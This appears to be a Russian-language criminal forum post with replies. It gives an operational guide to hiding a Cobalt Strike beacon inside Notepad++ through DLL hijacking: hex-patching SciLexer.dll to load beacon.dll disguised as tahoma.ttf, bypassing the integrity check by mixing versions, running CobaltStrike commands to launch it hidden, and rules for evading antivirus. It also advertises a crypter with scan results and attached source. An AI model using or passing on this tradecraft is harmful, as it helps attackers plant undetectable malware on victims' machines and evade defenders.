Когда, мы работаем из-под процесса Kaspersky Secure Connection меньше будет проблем со связью с командным сервером, да и вообще сам процесс атаки будет проще - имхо.
Важным тут является доверительный процесс и возможность осуществлять такие команды, ну например, как shinject в другой доверительный процесс, для дальнейшего продвижения в ОС/сети...
Кстати, все это можно сделать так, чтобы все это делалось автоматически с помощью скриптов - как автоматизировать такие процессы, я подробно описал в первой статье...

Теперь нам нужно сделать так, чтобы наш маяк(beacon) было трудно обнаружить на диске, - даже специалисту.
Для этого нужна DLL-посредник... то есть, возьмем, для примера, SciLexer.dll которую использует Notepad++
Нам надо ее проанализировать, на предмет возможной подмены DLL в SciLexer.dll - мы уже знаем, что SciLexer.dll в восьмой версии Notepad++ уже нет, значит нужно посмотреть более старые версии Notepad++, ну возьмем, для примера, версию 7.9.5 в которой эта SciLexer.dll есть.
https://notepad-plus-plus.org/downloads/v7.9.5/ - Mini-portable (7z)
https://github.com/notepad-plus-plu...nload/v7.9.5/npp.7.9.5.portable.minimalist.7z и https://github.com/notepad-plus-plu...d/v7.9.5/npp.7.9.5.portable.minimalist.x64.7z
Если посмотреть на импортируемые в SciLexer.dll системные dll'ки, то можно увидеть одну из них MSIMG32.dll
6-14.png


В SciLexer.dll есть много различных импортируемых системных dll'ок, но в данном случае в импорте присутствует MSIMG32.dll ее мы и подменим.
В MSIMG32.dll используется всего одна API AlphaBlend, что не требует создания особой dll, в которой будут обертки (так называемые wrapper'ы) для обработки огромное количества импортируемых API
Вот мы и подошли к главному моменту, для того чтобы понять, для чего нам нужна DLL-посредник, а давайте взглянем на загруженные модули в адресное пространство обычной программы:

6-15.png


На скриншоте видно, что чего там только нет. Вот мы и будем прятать маяк(beacon) под видом шрифта.
Для пользователя это будет обычный файл шрифта tahoma.ttf в директории программы, но на самом деле это будет маяк(beacon), и в загруженных модулях это будет обычный шрифт tahoma.ttf, но в реальности это будет beacon.dll
Антивирусы могут не сканировать шрифты, вернее файлы с расширением *.ttf - здесь все зависит от того, какие настройки по умолчанию у антивируса...
Можно также использовать файлы с расширением *.db, их также антивирусы могут не сканировать, и еще такой файл можно сделать очень большого размера, типа большая база с какими-то данными - такой файл антивирусы также не будут сканировать из-за большого размера... но такие файлы лучше создавать при помощи дроппера - имхо.

Нужный код для подменяемой MSIMG32.dll (как и весь остальной код), можно найти в прикрепленном архиве ниже, в файлах msimg32.dll.cpp и msimg32.dll.def
После того как beacon.dll будет готов, его нужно переименовать в tahoma.ttf и положить в одну директорию с Notepad++ и SciLexer.dll
Теперь начинается важный момент, для того чтобы tahoma.ttf(beacon.dll) была загружена в адресное пространство Notepad++ нужно изменить в SciLexer.dll строку MSIMG32.dll на строку tahoma.ttf, а оставшийся символ l (6C) заменить на 00 при помощи какого-нибудь HEX-редактора. (имя файла, может быть любым, и состоять только из английских символов и чисел, и не должно превышать 11 символов.)

6-16.png


Антивирусы обычно на такие малозначительные изменения в легальных программах вообще никак не реагируют.
Мы знаем, что если мы изменим SciLexer.dll, то Notepad++ это заметит и выдаст предупреждение:

6-17.png


Такая проверка начинается с версии 7.3.3 (в самом начале об этом инциденте было упоминание), поэтому нужно скачать версию Notepad++ 7.0, где еще нет такой проверки и взять оттуда файл notepad++.exe
Такой замес из различных версий файлов Notepad++ не вызовет проблем, так как Notepad++ - это GUI обертка над SciLexer.dll
Хочу отметить, что Notepad++ и SciLexer.dll в данной статье - это всего лишь пример, просто с помощью этого примера, можно указать на все базовые аспекты...
В роли DLL-посредника, не обязательно должна быть специфическая dll'ка - это может быть и любая импортируемая копия системной DLL.

Теперь, когда у нас есть такой набор (Notepad++ v7.0, SciLexer.dll v7.9.5 и tahoma.ttf aka beacon.dll), нужно еще правильно это все уметь запускать, так как API AlphaBlend не сработает сразу.
Для того, чтобы API AlphaBlend была вызвана из SciLexer.dll нужно, чтобы в главном окне редактора кода Notepad++ была установлена закладка (bookmark):

6-18.png


Для этого нужно запустить редактор кода Notepad++ написать там несколько символов и установить bookmark и закрыть Notepad++, после этого будет создан файл session.xml в котором будут сохранены все сделанные действия и при следующем запуске, будет восстановлен bookmark, это заставит SciLexer.dll вызвать API AlphaBlend в которой и запустится код маяка(beacon)
Таких вот проблем можно было бы избежать, если функцию InitStart запускать из DllEntryPoint (DllMain), которая выполняется всегда в отличии от импортируемых API, и саму DLL нужно обязательно закриптовать...
Ну и последнее, Notepad++ по умолчанию запускает все новые процессы Notepad++ в одном окне, а это создаст огромные проблемы, чтобы это не происходило, нужно в файле настроек config.xml найти строчку:
Код:
<GUIConfig name="multiInst" setting="0" />
И изменить там setting="0" на setting="2", ну или через командную строку это можно сделать, запуская Notepad++ с параметром -multiInst в интерактивной консоли CobaltStrike'а...
Код:
run c:\SOFT\npp.7.9.5.portable.minimalist\notepad++.exe -multiInst

Теперь нужно запустить Notepad++ в скрытом режиме, чтобы не появлялось всяких там окон...
Самый простой способ это сделать штатными средствами CobaltStrike'а, а именно выполнить команду в интерактивной консоли:
Код:
run c:\SOFT\npp.7.9.5.portable.minimalist\notepad++.exe -systemtray
Вообще запуск такого софта - это нетривиальная задача, возникает много проблем сделать так, чтобы окна не появлялись на рабочем столе и т. д. (все зависит от софта)
Ну например, если запускать Notepad++ с параметром -systemtray - это не спрячет Notepad++, так как иконка Notepad++ появится в системном трее, более того, вариант с подменой именно msimg32.dll и AlphaBlend будет не рабочий, если функция InitStart будет находиться в экспортируемой AlphaBlend, потому как AlphaBlend выполняется только при отрисовке закладок (bookmark)...

Отсюда следует ряд правил, которые надо соблюдать, чтобы избежать таких вот мелких нюансов, из-за которых возникают проблемы:
Самый оптимальный вариант обходить защиту от подменны DLL:
Смотрите, на реакцию антивирусов на тот или иной легальный подписанный софт, и на репутацию софта... (софт может иметь цифровую подпись, но репутация у него будет плохой, ну например, как у самого любимого всеми системного калькулятора, который все используют в качестве примера, в своих Shellсode'ах)
Старайтесь не использовать софт, который массово используют другие...
Имя подменяемой DLL не должно совпадать с именами DLL в директории C:\Windows\System32 (или других системных директориях)
Подменяемая DLL обязательно должна быть в одной директории с программой.
Весь зловредный код должен выполняться в отдельном потоке, а запускаться этот поток должен только из DLLMain один раз...
Подменяемая DLL должна быть обязательно закриптована.

========================================================================================

Вот мы и пошли к важным событиям, а именно к бонусу статьи, а конкретнее к крипту beacon.dll и информации о том, как это правильно нужно делать.
Для крипта подменяемой DLL нужен специфичный криптор и информация для понимания, как этим криптором пользоваться для того, чтобы можно было правильно закриптовать...
Такой крипт, в прямом смысле, можно назвать ручным криптом, потому как для крипта подменяемой DLL требуется индивидуальный подход и заказывать такой крипт на стороне, чревато сливом такой "уязвимости" DLL Hijacking, а также объяснения нюансов криптующему, что нужно дополнительно сделать, чтобы такую подменяемую DLL правильно закриптовать, а это увеличит стоимость такого крипта...
Данный криптор многогранен и имеет потенциал масштабируемости... ладно опустим детали...

Условия конкурса изменились, а стало быть и авторы могут также немного хитрить для того, чтобы изменить свое положение в турнирной таблице при голосовании. :)
Появление в паблике второй части этой статьи, а также качество и количество информации в этой статье зависит от результатов голосования, - чем выше будет место, тем больше и важнее будет информация...
А также, результат голосования будет влиять на версию криптора, так как существует две версии, первая попроще будет и является старой, а есть и новая версия, более проработанная...
Вот Scantime заприптованного beacon.dll старой версией криптора:
https://antiscan.me/scan/new/result?id=5mYtt7BC9OzY - Нативный, маленького размера, DLL...

6-19.png


Вторая часть статьи появится, только после завершения голосования (если конечно же результаты голосования будут адекватные бонусу), а это сколько там нужно будет ждать? А криптор - это такая вещь, постоянно нужен...
https://xss.pro/threads/62996/ - и таких заказов довольно много попадается, да и тема актуальная...
 

Вложения

  • src.zip
    4.3 КБ · Просмотры: 78
Спасибо автору обязательно чекну как все в жизни будет, очень интересно, до этого момента использовал ЕХЕ-кобальта, переводил его в шелкод затем криптовал его(шелкод) в AES-256 далее инжектил в процес или создавал свой(процес) не суть.. вот проблема есть вот в чем поведение, очень палилось, в двух словах как бы сессия прилетала и т.д. но как только команда: shell calc например то, все ...(( даже жефендр палил..
пробовал кстаи принимать биконы через DNS т.к. думал что возможно по http не шифрованном горят маячки хотя в основном так и есть)) так вот DNS так же не прокатило, ладно думаю тогда HTTPS) результат такой же..
Спасибо еще раз!
 
2-я и 5-я части есть? Где?
ну, там всего пары голосов не хватило, чтобы вторая статья появилась, а пятая появилась бы, если бы первое место было... там еще было 5 частей дополнительных к каждой статье, типа боевой практики... ну и еще был бонус, мое частое присутствие на форуме...
здесь тоже есть бонус, но он более существенный, когда-то здесь на форуме был второй приват, вот, что-то типа того...
а вообще, админ же "написал", что выиграют те, кто "напишет больше одной статьи" (так что время есть, у тех кто всего одну написал...), я возможно еще одну здесь позже запостю, как и в прошлый раз сделал (две статьи, как одна были)... короче информации много... нужно только захотеть ее получить, но тут конфликт интересов... посмотрим, прошлый спонсор все просрал... :D
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх